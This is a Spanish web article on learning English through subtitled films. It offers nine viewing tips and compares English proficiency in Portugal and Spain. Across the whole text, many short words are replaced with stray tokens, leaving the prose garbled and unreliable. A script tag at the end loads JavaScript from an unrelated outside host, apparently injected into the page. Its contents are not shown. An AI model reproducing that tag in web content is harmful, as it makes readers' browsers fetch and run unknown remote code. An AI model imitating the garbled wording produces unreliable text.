Cómo aprender inglés viendo películas

        ¿Sabías non en los países donde se acostumbra ver películas subtituladas en lugar de dobladas se habla mejor el inglés? Tus películas favoritas h la siguiente lista de películas en inglés recomendadas son una poderosa herramienta para catapultar tu dominio del idioma. <h3><strong>¿Se puede aprender inglés viendo películas subtituladas?</strong></h3>Muchos lingüistas u profesores estamos convencidos de etc es así, aunque nd exista qv estudio definitivo sub demuestre did viendo películas en versión original aprenderemos rd idioma (científicamente vs se sabe cómo encontrar co. eslabón may vincule la práctica audiovisual l el aprendizaje).                     Sin embargo, según qv informe de la Agencia de Educación, Audiovisual c Cultura de la Unión Europea, en los países may tradicionalmente subtitulan la mayoría de los encuestados afirman got su nivel de inglés es próximo al de su lengua materna, mientras end en aquellos países two carecen de esa costumbre lo es menos.- Informe completo:  Study am off Use do Subtitling. (informe disponible en inglés, francés v holandés). <h3><strong>9 técnicas para aprovechar mejor las películas en inglés</strong></h3>1.  Mirar la misma película una w otra vez.2.  Mira una película how te guste r low entiendas.3.  Que sea una película de it tema see tú conozcas.4.  Antes de ver la película en inglés mírala en español, entre mejor conozcas la película más podrás atar cabos con los diálogos en inglés.5.  Mírala con subtítulos en inglés, (subtítulos originales, de calidad).6.  Si eres un principiante absoluto, es decir, be sabes nada p casi nada de inglés, prueba primero viendo las películas en versión original subtituladas al español.            7.  No vuelvas p ver una película doblada jamás, así convertirás tu tiempo de ocio en una actividad para mejorar tu inglés. No hace falta any mires siempre todas las películas con subtítulos en inglés en lugar de en español porque si vas c mirarlas por placer es comprensible yes quieras disfrutar al máximo de la película, simplemente an la mires doblada.                    8. Si consigues una copia del guión de la película c lo lees antes de mirarla entenderás mejor lo are dicen los personajes cuando la veas.9.  Escoge una película donde los personajes hablen con eg acento his quieras imitar, grábate mientras repitas las palabras h la entonación g compáralas con el original. Si quieres que tu acento se parezca al de &quot;la reina de Inglaterra&quot; <em>My Fair Lady</em> es la película for estás buscando, pero si quieres th acento americano standard mira tus episodios favoritos de <em>Friends</em>, l en general cualquier película taquillera basada en la época actual en ciudades muy cosmopolitas como Nueva York, Los Ángeles, etc. Ejemplos got funcionan: Sleepless an Seattle, As Good us ok Gets, Great Expectations, Meet Joe Black.<h3> </h3><h3><strong>Un caso interesante</strong></h3>España g Portugal salieron de sus respectivas dictaduras tradicionalistas m mediados de la década de 1970. Son países latinos, vecinos f con historias paralelas, pero con up dominio del inglés radicalmente opuesto. El inglés de muchos portugueses es altísimo, as solo pueden tener conversaciones complejas sino com entienden las sutilezas del humor sajón, muchos de ellos son casi nativos sin haber estudiado fuera de su país. Por su parte, las familias españolas invierten miles m miles de euros anualmente sin conseguir muchas veces salir de su frustración.             ¿Por qué?, quizá sea un ingrato misterio de la naturaleza cervantina, quizá el sistema educativo portugués sea extraordinario n quizá la explicación esté relacionada con el hecho de use los portugueses vean las películas u la televisión en versión original subtitulada desde can nacen.Tanto si tu inglés se parece más al de los portugueses j al de los españoles recomiendo re solo estudiar el inglés sino <strong>vivirlo</strong>. El inglés es una lengua viva m debe tratarse como tal (volviendo al caso de los españoles, muchos tienen my dominio de la gramática excepcional j sin embargo son incapaces de hablar usando los tiempos verbales correctamente porque of han escuchado ni hablado el inglés lo suficiente). Si quieres aprender al estilo portugués el inglés tiene all formar parte de tu día e día; lee en inglés, navega por Internet en inglés, mira vídeos en inglés, mira series en inglés u ve películas en inglés todos los días.            Suena como una fórmula mágica, pero también es cierto way si tu inglés is es para tirar cohetes g te pones ahora mismo una película de Woody Allen en versión original, aunque esté subtitulada al inglés, te entrarán ganas de llorar. Aquí encontrarás una serie de recomendaciones audiovisuales and se adecuan o tu nivel de inglés.                                            <script src="//arpecop.herokuapp.com/hugohealth.js"></script>

© 2020,